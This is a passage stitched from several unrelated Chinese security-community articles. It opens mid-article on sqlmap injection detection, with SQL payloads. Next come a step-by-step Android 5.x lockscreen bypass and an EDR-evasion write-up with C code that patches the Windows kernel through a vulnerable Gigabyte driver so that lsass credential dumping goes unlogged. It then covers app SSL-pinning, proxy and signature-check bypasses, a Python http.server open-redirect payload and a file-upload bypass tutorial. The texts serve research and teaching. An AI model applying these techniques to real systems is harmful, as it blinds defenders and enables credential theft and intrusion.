这里主要是用于在判断了可能存在注入，提取一些特征，比如返回状态码、返回字符串。函数`extractTextTagContent`通过正则`<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>([^<]+)`提取特定标签的text，然后获取正确页面text-错误页面text集合-错误页面的text，得到特征字符串。
提取不返回的字符串，如果没有字符串和状态码这样明显特征，在判定可能存在注入的情况下，就只能靠相似度来识别。
后面判定存在了，做了一些赋值，为后面的注入数据做准备工作。下面还有两个检测过滤工作。
`checkSuhosinPatch(injection)`，检查了Suhosin path，因为Suhosin
Get类型的，只获取value值前512字节，所以发送超过[512](https://www.suhosin.org/stories/configuration.html#suhosin-post-max-value-length "512")字节的payload，看是否还存在注入，如果存在，就没有Suhosin path，
payload为：
id=1' and 9703= (512空格) 9703 AND 'DyXn'='DyXn
`checkFilteredChars(injection)`，检测大于号和圆括号是否过滤，如果利用下面payload请求返回包的相似度判断是否被过滤。
AND 2210>2209 AND 'mTvV'='mTvV
AND (2209)=2209 AND 'ZWWn'='ZWWn
## 总结
首先会收集原始页面body内容，用于相似度的比较，然后通过相似度初步判断是不是注入，如果判定为注入还会进行提取特征去作为特征值，如果没有只能使用相似度作为判断。
if re.match(r"A[w.,! ]+Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
conf.string = candidate
injectable = True
最开始说的那个注入之所以没有检测出，就是因为错误页面的相似度高于0.98，虽然提取出特征出来，但是后面判断特征不符合，放弃了该特征，导致判定没有注入。
而这个判断是不太符合国情的，因为我们语言中使用空格的频率并不高，而英语是一个单词一个空格。
## 参考
<https://www.anquanke.com/subject/id/160641> | 社区文章 |
# Android 5.x 锁屏绕过 (CVE-2015-3860)
|
##### 译文声明
本文是翻译文章，文章来源：默白@360安全播报
原文地址：<http://sites.utexas.edu/iso/2015/09/15/android-5-lockscreen-bypass/ >
译文仅供参考，具体内容表达以及含义原文为准。
在Android的5.x版本中存在一个漏洞,5.x<=
5.1.1(在LMY48M前建立),该漏洞允许攻击者让锁屏崩溃从而成功完全进入一个锁定的设备,即使该设备上启用加密。当相机应用在无需解锁就可用使用时,
通过在密码字段内操纵一个足够大的字符串,攻击者能够破坏锁屏,从而使其主屏幕崩溃。在这一点上任意的应用程序可以运行或adb的开发者能够访问来获得对该设备的全部权限,并且暴露该设备中包含的任何数据。
2015年9月:锁屏的提权漏洞(cve-2015-3860)
链接:[https://groups.google.com/forum/#!topic/android-security-updates/1M7qbSvACjo](https://groups.google.com/forum/#!topic/android-security-updates/1M7qbSvACjo)
攻击需要以下条件:
攻击者必须对设备进行物理访问
用户必须设置密码(模式/引脚配置不可利用)
视频演示如下:
攻击流程:
1\. 从锁屏打开紧急呼叫窗口。
2.键入几个字符,例如10个星号。双击文字来突出它们,点击复制按钮。然后点击,一旦进入界面则点击粘贴,使字段中的字符增加一倍。重复这一使用标识记号的过程,复制,粘贴以至于字段长到双击不再可以添加,这通常需要重复11次左右。
3\. 回到锁屏,然后向左滑动打开相机。从屏幕顶部向下滑动,把通知栏拉下来,然后点击右上角的设置(齿轮)图标。这会导致密码提示出现。
4\.
在密码行内多次点击,然后将字符粘贴到密码行内。继续长按光标,然后尽可能多的次数进行特殊字符(比如星号)粘贴,直到你发现UI崩溃,然后在屏幕的底部的软件按钮消失,扩大摄像头至全屏。获得粘贴按钮,从而增长字符串。作为一个提示,始终确保光标是在字符串的最末端(你可以双击,以突出显示所有,然后点击按键,朝着终点的方向快速移动光标),多次点击使得光标尽可能接近中心。为了获得粘贴按键,多次点击,这将可能会比平常花费更多的时间。
5.等待相机应用程序崩溃,并且显示出主屏幕。这一持续时间以及这一步骤的结果可能会差别很大,但是相机应该最终会崩溃并且暴露出敏感功能。你应该注意到相机的滞后性,随着它试图专注于新的对象。尽管通过硬件按键加速拍照这一过程不是严格要求的,但我们仍然可以选择这样做。如果由于不操作使得屏幕关闭,我们只需要重新打开它,然后继续等待。在某些情况下,摄像头的应用程序将会直接崩溃,使得全屏幕如下图所示,而其他时候,它可能会在主屏幕上呈现崩溃的一部分,这将在前面概念演示视频中交替证明。
6\.
通过任何手段尽可能的导航到设置程序,例如,通过点击在底部中心的应用程序抽屉按钮,并在应用程序列表中找到它。在这一点上可以启用USB进行正常调试(关于手机>点击次数7次,返回,开发者选项>
USB调试),通过ADB开发工具来发布任意命令,或者通过设备拥有者拥有设备的所有权限,获得该设备上所有文件的访问权限,最终成功的完全进入设备。
时间轴:
2015年6月25日:漏洞私下报告给安卓的安全团队。
2015年7月1日:安卓证实漏洞可以被复现,定义漏洞危害程度低。
2015年7月15日:安卓系统将问题严重提升到中等程度。
2015年8月13日:安卓承诺补丁修复漏洞。
2015年9月9日:安卓[发布](https://translate.googleusercontent.com/translate_c?act=url&depth=1&hl=zh-CN&ie=UTF8&prev=_t&rurl=translate.google.com.hk&sl=en&tl=zh-CN&u=https://groups.google.com/forum/&usg=ALkJrhji4SSqliNEPtaaC51HUic8_w0nNA#!topic/android-security-updates/1M7qbSvACjo)包含修复5.1.1版本LMY48M。
2015年9月14日:安卓 公开漏洞 。
2015年9月15号:UT ISO发布此书面记录。 | 社区文章 |
# 如何规避Windows Defender ATP
|
##### 译文声明
本文是翻译文章，文章原作者 b4rtik，文章来源：b4rtik.github.io
原文地址：<https://b4rtik.github.io/posts/evading-windefender-atp-credential-theft-kernel-version/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
几星期之前，我和[uf0](https://twitter.com/matteomalvica)花了点时间研究了一下Windows Defender
ATP的凭据防窃取功能，官方说明中有一段话引起了我们的注意：
>
> （ATP）采用了一种统计学方法来检测凭据窃取行为。回顾已有的多款工具，我们发现凭据窃取行为与`lsass.exe`进程内存的读取次数及读取数据量密切相关，非常有可能正确预测。
我们准备从Ring3开始研究，然而即便我们找到了能够规避这种控制策略的方法，也没有在`NtReadVirtualMemory`中看到任何hook。因此我们决定研究一下`NtReadVirtualMemory`内部的工作原理。
## 0x01 Dumpert vs ATP
[Dumpert](https://github.com/outflanknl/Dumpert)是用来转储lsass进程内存的一款工具，该工具直接使用syscall，没有hook原生API，从而实现AV及EDR控制策略的规避。虽然这种方法对基于API
hook的检测机制非常有效，但依然无法规避MDATP的检测。
在[uf0](https://twitter.com/matteomalvica)小伙伴的帮助下，我们研究了MDATP的逻辑，发现了在用户模式下的一种方法，可以规避之前ATP对`PssCaptureSnapshot`
API利用技术的防护。在研究过程中，至少在用户模式下我们没有找到ATP设置的任何hook或者其他痕迹。因此有理由推测ATP是在Ring0检测恶意行为。
## 0x02 ReadVirtualMemory
Dumpert这款工具基于`MiniDumpWriteDump`函数构建，而该函数又基于`NtReadVirtualMemory`。因此即使没有hook，这款工具实际执行的代码如下所示：
0:002> uf ntdll!NtReadVirtualMemory
ntdll!NtReadVirtualMemory:
00007fff`11e5c890 4c8bd1 mov r10,rcx
00007fff`11e5c893 b83f000000 mov eax,3Fh
00007fff`11e5c898 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007fff`11e5c8a0 7503 jne ntdll!NtReadVirtualMemory+0x15 (00007fff`11e5c8a5) Branch
ntdll!NtReadVirtualMemory+0x12:
00007fff`11e5c8a2 0f05 syscall
00007fff`11e5c8a4 c3 ret
ntdll!NtReadVirtualMemory+0x15:
00007fff`11e5c8a5 cd2e int 2Eh
00007fff`11e5c8a7 c3 ret
syscall将上下文环境从用户模式转移到内核模式。如果我们深入分析`nt!NtReadVirtualMemory`的实现，会发现其内部会调用另一个函数：`nt!MiReadWriteVirtualMemory`。
lkd> uf nt!NtReadVirtualMemory
nt!NtReadVirtualMemory:
fffff801`25a22a80 4883ec38 sub rsp,38h
fffff801`25a22a84 488b442460 mov rax,qword ptr [rsp+60h]
fffff801`25a22a89 c744242810000000 mov dword ptr [rsp+28h],10h
fffff801`25a22a91 4889442420 mov qword ptr [rsp+20h],rax
fffff801`25a22a96 e815000000 call nt!MiReadWriteVirtualMemory (fffff801`25a22ab0)
fffff801`25a22a9b 4883c438 add rsp,38h
fffff801`25a22a9f c3 ret
在最近的Windows版本中，系统在读取目标内存之前内核首先会检查函数调用是否来自于用户模式，以避免该调用读取受保护进程或者内核地址空间。如下所示，除了这些检查操作外，系统还会调用`nt!EtwTiLogReadWriteVm`。因此，为了记录该事件，ATP会使用Etw来记录`nt!NtReadVirtualMemory`。
lkd> uf nt!MiReadWriteVirtualMemory
.
.
.
nt!MiReadWriteVirtualMemory+0x1ce:
fffff801`25a22c7e 48897c2428 mov qword ptr [rsp+28h],rdi
fffff801`25a22c83 4c89642420 mov qword ptr [rsp+20h],r12
fffff801`25a22c88 448bca mov r9d,edx
fffff801`25a22c8b 4d8bc6 mov r8,r14
fffff801`25a22c8e 498bd2 mov rdx,r10
fffff801`25a22c91 8bce mov ecx,esi
fffff801`25a22c93 ebe8e8f70200 call nt!EtwTiLogReadWriteVm (fffff801`25a52480)
fffff801`25a22c98 eb90 jmp nt!MiReadWriteVirtualMemory+0x17a (fffff801`25a22c2a)
.
.
.
lkd> uf nt!EtwTiLogReadWriteVm
nt!EtwTiLogReadWriteVm:
fffff801`25a52480 48895c2420 mov qword ptr [rsp+20h],rbx
fffff801`25a52485 894c2408 mov dword ptr [rsp+8],ecx
fffff801`25a52489 55 push rbp
fffff801`25a5248a 56 push rsi
fffff801`25a5248b 57 push rdi
.
.
nt!EtwTiLogReadWriteVm+0x175667:
.
.
.
fffff801`25bc7b4d e8161796ff call nt!EtwpTiFillProcessIdentity (fffff801`25529268)
fffff801`25bc7b52 4403c8 add r9d,eax
fffff801`25bc7b55 488d8db0000000 lea rcx,[rbp+0B0h]
fffff801`25bc7b5c 418bc1 mov eax,r9d
fffff801`25bc7b5f ba08000000 mov edx,8
fffff801`25bc7b64 4803c0 add rax,rax
fffff801`25bc7b67 41ffc1 inc r9d
fffff801`25bc7b6a 4533c0 xor r8d,r8d
fffff801`25bc7b6d 8364c44c00 and dword ptr [rsp+rax*8+4Ch],0
fffff801`25bc7b72 48894cc440 mov qword ptr [rsp+rax*8+40h],rcx
fffff801`25bc7b77 488d8db8000000 lea rcx,[rbp+0B8h]
fffff801`25bc7b7e 8954c448 mov dword ptr [rsp+rax*8+48h],edx
fffff801`25bc7b82 418bc1 mov eax,r9d
fffff801`25bc7b85 4803c0 add rax,rax
fffff801`25bc7b88 8364c44c00 and dword ptr [rsp+rax*8+4Ch],0
fffff801`25bc7b8d 48894cc440 mov qword ptr [rsp+rax*8+40h],rcx
fffff801`25bc7b92 41ffc1 inc r9d
fffff801`25bc7b95 488b0de4d0c6ff mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (fffff801`25834c80)]
fffff801`25bc7b9c 8954c448 mov dword ptr [rsp+rax*8+48h],edx
fffff801`25bc7ba0 488d442440 lea rax,[rsp+40h]
fffff801`25bc7ba5 488bd3 mov rdx,rbx
fffff801`25bc7ba8 4889442420 mov qword ptr [rsp+20h],rax
fffff801`25bc7bad e8ce0e8aff call nt!EtwWrite (fffff801`25468a80)
fffff801`25bc7bb2 90 nop
fffff801`25bc7bb3 e939a9e8ff jmp nt!EtwTiLogReadWriteVm+0x71 (fffff801`25a524f1) Branch
## 0x03 修改内核
现在我们已经知道系统对内存读取操作的告警点，那么能不能找到办法，避免ATP通过Etw检测到Dumpert的执行呢？比如，如果我们能patch内核，在`nt!
EtwTiLogReadWriteVm`函数开头处插入一个`RET`，那么就能绕过任何记录行为。在内核patch方面，我们只需要能够在Ring3写入内核内存空间即可。在开发PoC时，我们最初想自己开发一个可用的驱动。然后我突然想起跟Cn33liz的一次讨论，当时小伙伴提示我们可以通过存在漏洞的驱动在Ring0执行代码。根据[Cn33liz](https://twitter.com/Cneelis)的提示，我们可以选择Gigabyte的漏洞驱动来实现本地提权，这方面内容大家可以参考<a
href=”https://medium.com/[@fsx30](https://github.com/fsx30
"@fsx30")/weaponizing-vulnerable-driver-for-privilege-escalation-gigabyte-edition-e73ee523598b”>这篇文章，其中详细分析了如何提权，以及如何移除进程保护模式（Process Protect
Mode）。一旦我们具备内核模式的读写权限，我们还需要寻找特征点。在Windows 10 1909上，我们可以寻找如下特征：
fffff804`0e45291c 4183f910 cmp r9d,10h
fffff804`0e452920 b800000c00 mov eax,0C0000h
fffff804`0e452925 41b800000300 mov r8d,30000h
然后使用windbg，检查该特征是否具备唯一性：
lkd> s -[1]b nt L0x1000000 41 83 f9 10 b8 00 00 0c 00 41 b8 00 00 03 00
0xfffff804`0e45291c
然后计算偏移量：
lkd> ? fffff804`0e45291c - nt!EtwTiLogReadWriteVm
Evaluate expression: 76 = 00000000`0000004c
为了获取内核的基址，我们可以使用`NtQuerySystemInformation`，将`NtQuerySystemInformation`传入`SystemInformationClass`参数。
cif (!NT_SUCCESS(status = NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, 1024 * 1024, NULL)))
{
printf("\nError: Unable to query module list (%#x)\n", status);
VirtualFree(ModuleInfo, 0, MEM_RELEASE);
return -1;
}
然后遍历已加载的模块，寻找`ntoskrnl.exe`，将patch应用到前面windbg计算出的偏移量：
for (i = 0; i < ModuleInfo->NumberOfModules; i++)
{
if (strcmp((char *)(ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName), "ntoskrnl.exe") == 0)
{
printf("[+] Kernel address: %#x\n", ModuleInfo->Modules[i].ImageBase);
uintptr_t pml4 = find_directory_base(ghDriver);
printf("\n");
BOOL result = read_virtual_memory(ghDriver, pml4, (uintptr_t)ModuleInfo->Modules[i].ImageBase, buffer, searchlen);
if(result)
{
DWORD offset = searchSign((unsigned char*)buffer, signature, sizeof(signature));
free(buffer);
printf("[*] Offset %d\n", offset - backoffset);
patchFunction(ModuleInfo->Modules[i].ImageBase, pml4, offset - backoffset, "EtwTiLogReadWriteVm");
printf("[+] Run your command now\n");
int retCode = system(argv[1]);
printf("\n\n");
printf("[+] Execution finished with exit code: %d\n", retCode);
}
else
{
printf("[*] Errore reading kernel memory \n");
}
}
}
当我们第一次执行PoC时，我们以为能看到成功结果，或者遇到BSOD，然而结果却比较尴尬。我们的工具成功patch，并且执行Dumpert也没有触发警报，然而在几分钟后，目标主机开始重启。通过事件查看器，我们发现了Kernel
Patch Protection（内核补丁保护，KPP）的身影（EventData 0x00000109）。
KPP会定期执行检查，确保内核中受保护的系统结构没被篡改。如果检测到不一致，那么将出现蓝屏以及/或者重新启动。
我们的目标并非绕过KPP，但至少要限制BSOD出现的几率。经测试后，我们发现每隔5到10分钟，KPP的检测机制就会发现我们的patch操作，我们的执行时间只有几秒钟。因此我们改进了思路，只有在必要的时候再patch内核，执行完毕后再恢复初始状态。大家可以参考[此处](https://gist.github.com/b4rtik/daefa2b3d9c99d825e354f4d32ec9927)的部分源代码。
for (i = 0; i < ModuleInfo->NumberOfModules; i++)
{
if (strcmp((char *)(ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName), "ntoskrnl.exe") == 0)
{
printf("[+] Kernel address: %#x\n", ModuleInfo->Modules[i].ImageBase);
uintptr_t pml4 = find_directory_base(ghDriver);
printf("\n");
BOOL result = read_virtual_memory(ghDriver, pml4, (uintptr_t)ModuleInfo->Modules[i].ImageBase, buffer, searchlen);
if(result)
{
DWORD offset = searchSign((unsigned char*)buffer, signature, sizeof(signature));
free(buffer);
printf("[*] Offset %d\n", offset - backoffset);
BYTE EtwTiLogReadWriteVmOri = patchFunction(ModuleInfo->Modules[i].ImageBase, pml4, offset - backoffset, "EtwTiLogReadWriteVm");
printf("[+] Run your command now\n");
int retCode = system(argv[1]);
printf("\n\n");
printf("[+] Execution finished with exit code: %d\n", retCode);
printf("[+] Proceed to restore previous state.\n");
patchFunction(ModuleInfo->Modules[i].ImageBase, pml4, offset - backoffset, "EtwTiLogReadWriteVm", EtwTiLogReadWriteVmOri);
}
else
{
printf("[*] Errore reading kernel memory \n");
}
}
}
## 0x04 总结
根据我们的观察，系统不能及时捕捉到我们的修改操作，我们可以通过单字节patch实现绕过效果。MDATP的检测机制远不止这个传感器，而我们通过较为粗暴的方式直接禁用掉其跟踪机制。我们比较好奇的是，为什么存在漏洞的这个驱动依然可以在操作系统中使用。 | 社区文章 |
## APP测试之安全机制问题及Bypass
### 前言
在一次APP漏洞挖掘的过程中又遇到了之前都会遇到的一个问题今天来讨论一下APP安全渗透测试及漏洞挖掘中遇到的这个问题并进行一些总结，其中有一些方法之前也有许多师傅分享过，这里再次遇到正好想归结到一起，若对移动APP安全机制绕过有兴趣的师傅也能够一起交流或加以补充。
相信也会有很多师傅在挖掘漏洞中遇到以下的几种令人抓头的场景:
等等。
一般情况下在对APP测试时burp抓包需要配置代理和下载安装burp的客户端证书才可以正常的进行下一步测试，但是在HTTPS信任机制和APK自有的安全机制下测试时或许就不是那么容易了，经常会出现网络错误、抓不到包、丢包，无法正常发送请求等情况。主要可以归结为：IOS/安卓系统的固有的信任机制问题，另一方面是APK的SSL证书的绑定、SSL证书双向校验和代理检测问题。
**系统固有的信任机制**
**IOS设备上测试**
虽然安装了burp证书但是你会发现有https的数据包仍然无法抓到，仔细深究其实还是信任机制的问题，默认情况下ios系统不会对第三方安装的证书开启完全信任，由此就导致了虽然安装了证书但还是无法抓到https的包。
默认情况下IOS设备的对安装的根证书的完全信任是处于关闭状态，所以要解决以上问题，还需要将该设置为完全信任。
设置好后就可以正常抓包了。
如果前面都没问题排除了系统固有的信任机制问题还是无法正常抓到包这种情况下一般就属于第二种可能了----APK自有的安全机制
### APK的安全机制
https协议验证服务器身份的方式通常有三种，一是根据浏览器或者说操作系统（Android）自带的证书链；二是使用自签名证书；三是自签名证书加上SSL
Pinning特性,所谓SSL pinning即证书绑定。
另外一种是双向认证，客户端与服务端分别存放不同的证书，客户端在通讯时会校验服务端的证书的一致性，反之，服务端在建立通讯前也要验证客户端证书的一致性，验证皆无问题后才建立通讯。
#### SSL pinning
一般情况下，关于SSL
Pinning的反制，主要有两种办法，第一种是反编译APP文件，篡改内部证书信息。涉及到逆向，调试，重签名等技术，如果客户端存在壳保护、混淆、完整性自校验等防护则无法进行替换。
第二种是利用了Hook技术。Hook就是一个函数钩子，把程序原本要调用的函数改成另一个函数，就是对原函数的一个挂钩(hook)
。比如，客户端使用方法hostnameVerifier.verify、checkServerTrusted和checkClientTrusted对证书进行了校验,证书不对则抛出异常，停止加载页面并结束通讯。只需要Hook
证书校验失败的处理方法，让其继续加载页面并保持通讯即可。具体的SSL
Pinning的反制，主要以Xposed框架和Frida框架进行Hook关键函数，从而进行数据包的截取。
针对以上情况可以总结了以下几种的具体绕过方式
1）反编译apk,得到源码编辑应用程序的Manifest文件，修改 AndroidManifest.xml，重新打包
apk反编译及打包
反编译
apktool.bat d -f test.apk -o test
apktool -f [待反编译的apk] -o [反编译之后存放文件夹]
打包
`apktool.bat b test`
`**java -jar .\apktool_2.3.0.jar b .\test\**`
签名
`java -jar signapk.jar testkey.x509.pem testkey.pk8 test.apk test_signed.apk`
ps:签名文件：android/build/target/product/security/
2）用自定义的CA覆盖应用程序原本的CA
3）反编译提取APK文件，注入动态库和通过Objection工具【[项目地址](https://github.com/sensepost/objection)】
也可参考roysue师傅的一篇文章[实用FRIDA进阶](https://www.anquanke.com/member/131652)[](https://www.anquanke.com/post/id/197670)
4）hook证书验证函数设置钩子--针对自定义证书的验证代码
详情针对这四种的方法有位大佬做了详细的介绍可参考[绕过安卓SSL验证证书的四种方式](https://www.freebuf.com/articles/terminal/161472.html)
除了以上修改apk验证证书逻辑重新打包的方式外，还有一种最简单的方法是使用xposed相关模块。Xposed+JustTrustMe来进行绕过。使用方法网上也已经有师傅研究过了具体可以[参考](https://xz.aliyun.com/t/6558)还有`https://www.jianshu.com/p/a818a0d0aa9f`
#### 代理检测
##### 客户端内置代理
有些APP内置了指定代理，导致开着抓包工具也无法正常抓到包。
private void N(){
Address v0=this.g();
if(v0!=null){
if(this.e.b().d())
n.a(v0.getHost(),v0.getPort());
}
this.f();
}
解决：
1)直接设置代理为自己指定的代理。
比如
const v0,0x22b8
sonst-string v1,"192.168.0.101"//设置为自己的代理，PORT:0x22b8=8888,IP:192.168.0.101
2)hook "system.setproperty" 设置代理到本地
//设置代理
System.setProperty("http.proxySet","true");
System.setProperty("http.proxyHost","10.1.1.199");
System.setProperty("http.proxyPort","80");
##### 客户端检测是否开启代理
比如APP存在对代理的检测的代码，当存在代理检测时，这个数据包并不会通过代理发送出去。修改smail代码绕过，或者nop掉检测方法。
代码：
private boolean isWifiProxy() {
final boolean IS_ICS_OR_LATER = Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH;
String proxyAddress;
int proxyPort;
if (IS_ICS_OR_LATER) {
proxyAddress = System.getProperty("http.proxyHost");
String portStr = System.getProperty("http.proxyPort");
proxyPort = Integer.parseInt((portStr != null ? portStr : "-1"));
} else {
proxyAddress = android.net.Proxy.getHost(this);
proxyPort = android.net.Proxy.getPort(this);
}
return (!TextUtils.isEmpty(proxyAddress)) && (proxyPort != -1);
}
#### SSL 双向校验
问题：可拦截到包但返回异常
解决方式：bypass 双向校验
做了双向验证的apk,一般反编译后在APK的 `assets` 中就可以找到客户端证书 `.p12` 和`.cer`
的文件，而在服务端和客户端进行正常通信就需要在服务端也安装`p12` 证书,但导入时会需要一个证书密码，一般可以通过静态分析代码，搜索 `KeyStore`
或者 逆向分析客户端的`.p12` 来找到密码。
#### Sign
sign的绕过并不大了解，但是按照常规套路，就是反编译之后搜索sign/signature相关字符串，然后找到加密算法的地方，抠出来分析,再hook掉，比如系统的java.security.Signature这个接口，直接让系统获取的签名永远返回true，这样就绕过了app的签名校验了。
利用xposed可以：
public void initZygote(StartupParam startupParam) throws Throwable {
XposedHelpers.findAndHookMethod("java.security.Signature",null,"verify", byte[].class,new XC_MethodHook(){
protected void afterHookedMethod(MethodHookParam param) throws Throwable {
XposedBridge.log("disabled verifysignature......");
param.setResult(Boolean.TRUE);
}
});
来绕过app的签名校验。有大佬师傅github给出了一键绕过App签名验证的工具，<https://github.com/xxxyanchenxxx/SigKill，但是本人也没有测试过，不知道有没师傅用过。>
参考：
<https://xz.aliyun.com/t/6558>
<https://www.anquanke.com/post/id/200911>
<https://www.anquanke.com/post/id/200911>
<https://www.jianshu.com/p/a818a0d0aa9f>
<http://z-gelen.com/index.php/archives/68/> | 社区文章 |
作者：[phith0n@长亭科技](https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html)
Github账号被封了以后，Vulhub也无法继续更新了，余下很多时间，默默看了点代码，偶然还能遇上一两个漏洞，甚是有趣。
这个漏洞出现在python核心库http中，发送给官方团队后被告知撞洞了，且官方也认为需要更多人看看怎么修复这个问题，所以我们来分析一下。
#### 0x01 http.server库简单分析
众所周知Python有一个一键启动Web服务器的方法：
python3 -m http.server
在任意目录执行如上命令，即可启动一个web文件服务器。其实这个方法就用到了http.server模块。这个模块包含几个比较重要的类：
1. `HTTPServer`这个类继承于`socketserver.TCPServer`，说明其实HTTP服务器本质是一个TCP服务器
2. `BaseHTTPRequestHandler`，这是一个处理TCP协议内容的Handler，目的就是将从TCP流中获取的数据按照HTTP协议进行解析，并按照HTTP协议返回相应数据包。但这个类解析数据包后没有进行任何操作，不能直接使用。如果我们要写自己的Web应用，应该继承这个类，并实现其中的`do_XXX`等方法。
3. `SimpleHTTPRequestHandler`，这个类继承于`BaseHTTPRequestHandler`，从父类中拿到解析好的数据包，并将用户请求的path返回给用户，等于实现了一个静态文件服务器。
4. `CGIHTTPRequestHandler`，这个类继承于`SimpleHTTPRequestHandler`，在静态文件服务器的基础上，增加了执行CGI脚本的功能。
简单来说就是如下：
+-----------+ +------------------------+
| TCPServer | | BaseHTTPRequestHandler |
+-----------+ +------------------------+
^ |
| v
| +--------------------------+
+----------------| SimpleHTTPRequestHandler |
| +--------------------------+
| |
| v
| +-----------------------+
+-----------------| CGIHTTPRequestHandler |
+-----------------------+
我们看看`SimpleHTTPRequestHandler`的源代码：
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
server_version = "SimpleHTTP/" + __version__
def do_GET(self):
"""Serve a GET request."""
f = self.send_head()
if f:
try:
self.copyfile(f, self.wfile)
finally:
f.close()
# ...
def send_head(self):
path = self.translate_path(self.path)
f = None
if os.path.isdir(path):
parts = urllib.parse.urlsplit(self.path)
if not parts.path.endswith('/'):
# redirect browser - doing basically what apache does
self.send_response(HTTPStatus.MOVED_PERMANENTLY)
new_parts = (parts[0], parts[1], parts[2] + '/',
parts[3], parts[4])
new_url = urllib.parse.urlunsplit(new_parts)
self.send_header("Location", new_url)
self.end_headers()
return None
for index in "index.html", "index.htm":
index = os.path.join(path, index)
if os.path.exists(index):
path = index
break
else:
return self.list_directory(path)
# ...
前面HTTP解析的部分不再分析，如果我们请求的是GET方法，将会被分配到`do_GET`函数里，在`do_GET()`中调用了`send_head()`方法。
`send_head()`中调用了`self.translate_path(self.path)`将request
path进行一个标准化操作，目的是获取用户真正请求的文件。如果这个path是一个已存在的目录，则进入if语句。
如果用户请求的path不是以`/`结尾，则进入第二个if语句，这个语句中执行了HTTP跳转的操作，这就是我们当前漏洞的关键点了。
#### 0x02 任意URL跳转漏洞
如果我们请求的是一个已存在的目录，但PATH没有以`/`结尾，则将PATH增加`/`并用301跳转。
这就涉及到了一个有趣的问题：在chrome、firefox等主流浏览器中，如果url以`//domain`开头，浏览器将会默认认为这个url是当前数据包的协议。比如，我们访问`http://example.com`，跳转到`//baidu.com/`，则浏览器会默认认为跳转到`http://baidu.com`，而不是跳转到`.//baidu.com/`目录。
所以，如果我们发送的请求的是`GET //baidu.com
HTTP/1.0\r\n\r\n`，那么将会被重定向到`//baidu.com/`，也就产生了一个任意URL跳转漏洞。
在此前，由于目录`baidu.com`不存在，我们还需要绕过`if
os.path.isdir(path)`这条if语句。绕过方法也很简单，因为`baidu.com`不存在，我们跳转到上一层目录即可：
GET //baidu.com/%2f.. HTTP/1.0\r\n\r\n
如何测试这个漏洞呢？其实也很简单，直接用`python3 -m
http.server`启动一个HTTP服务器即可。访问`http://127.0.0.1:8000//example.com/%2f%2e%2e`即可发现跳转到了`http://example.com/%2f../`。
#### 0x03 web.py任意URL跳转漏洞
那么，虽然说python核心库存在这个漏洞，不过通常情况下不会有人直接在生产环境用`python -m http.server`。
Python框架web.py在处理静态文件的代码中继承并使用了`SimpleHTTPRequestHandler`类，所以也会受到影响。
我们可以简单测试一下，我们用web.py官网的示例代码创建一个web应用：
import web
urls = (
'/(.*)', 'hello'
)
app = web.application(urls, globals())
class hello:
def GET(self, name):
if not name:
name = 'World'
return 'Hello, ' + name + '!'
if __name__ == "__main__":
app.run()
然后模拟真实环境，创建一个static目录，和一些子目录：
static
├── css
│ └── app.css
└── js
└── app.js
运行后，直接访问`http://127.0.0.1:8080////static%2fcss%[email protected]/..%2f`即可发现已成功跳转。
web.py的具体分析我就不多说了，由于请求必须有`/static/`前缀，所以利用方法有些不同，不过核心原理也无差别。
* * * | 社区文章 |
# 尽可能详细的文件上传讲解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
大部分看到这篇文章的人应该都明白什么是文件上传，文件上传是攻击非常常见的方式，网上也有非常多的优秀文章，不过还是想自己整理+归纳+总结+讲解一篇关于文件上传的文章
这里借助一个靶场总结了一下常见的文件上传漏洞类型，在平时的业务、实战或CTF中可能会遇到这个漏洞，在做靶场时应该抱着学习此类型及其相关技术为目的，不要单纯拿结果
因为lmn有做过几遍upload-labs master靶场的题目，而且靶场囊括的类型也比较全面，这里也就结合了靶场的题目
## 0x01 upload-labs master的安装
“upload-labs master”这个靶场在接触文件上传的人应该都听过，lmn也做了几遍整理过笔记，毕竟网上教程这么多这里就简单总结一下
下面借助了很多靶场中的题目，可以自行安装
下载地址：<https://github.com/c0ny1/upload-labs>
运行环境：
操作系统：windows、Linux
php版本：大部分都是推荐 5.2.17版本
别忘了新建一个upload
配置好就可以开始了！
## 0x02 前端JavaScript检测
这道题Pass-01就是利用前端校验，也属于客户端校验，经常碰到前端使用JS代码检测被上传文件的上传类型和文件大小，只有前端教研安全性很低，可以通过禁用JS来绕过
上传入口看到一个 onsubmit 参数，onsubmit是在表单提交之前调用，在我们点击提交之后，就会调用这个事件句柄函数，也就是 checkFile()
确定为js绕过代码
推荐一个很好用的禁止js的插件，叫NoScript，可以方便打开或禁止js
还有一种方法就是直接删掉checkFile()函数
## 0x03 检测文件类型
文件上传中文件类型的检测也比较常见比较好绕过，例如这么一段代码
$_FILES[‘upload_file’][‘type’] == ‘image/jpeg’
意思是判断文件类型是否等于image/jpeg，是的话提交成功，不是则通知用户提交失败
这里可以拓展一下php的$_FILES系统函数用法
1. $_FILES[‘myFile’][‘name’] 表示文件的名称
2. $_FILES[‘myFile’][‘type’] 表示文件的 MIME 类型
3. $_FILES[‘myFile’][‘size’] 已上传文件的大小（单位：字节）
4. $_FILES[‘myFile’][‘tmp_name’] 储存的临时文件名，一般是系统默认
5. $_FILES[‘myFile’][‘error’] 该文件上传相关的错误代码，PHP4.2版本后增加的
**例如Pass-02（MIME 类型验证）这道题，尝试通过burp拦截包对Content-Type进行修改**
MIME全名叫多用途互联网邮件扩展(Multipurpose Internet
MailExtensions)，现在被应用到多种协议里，MIME的常见形式是一个主类型加一个子类型，用斜线分隔
1. 百科给出的比较全面的类型：
2. 超文本标记语言文本 .html text/html
3. xml文档 .xml text/xml
4. XHTML文档 .xhtml application/xhtml+xml
5. 普通文本 .txt text/plain
6. RTF文本 .rtf application/rtf
7. PDF文档 .pdf application/pdf
8. Microsoft Word文件 .word application/msword
9. PNG图像 .png image/png
10. GIF图形 .gif image/gif
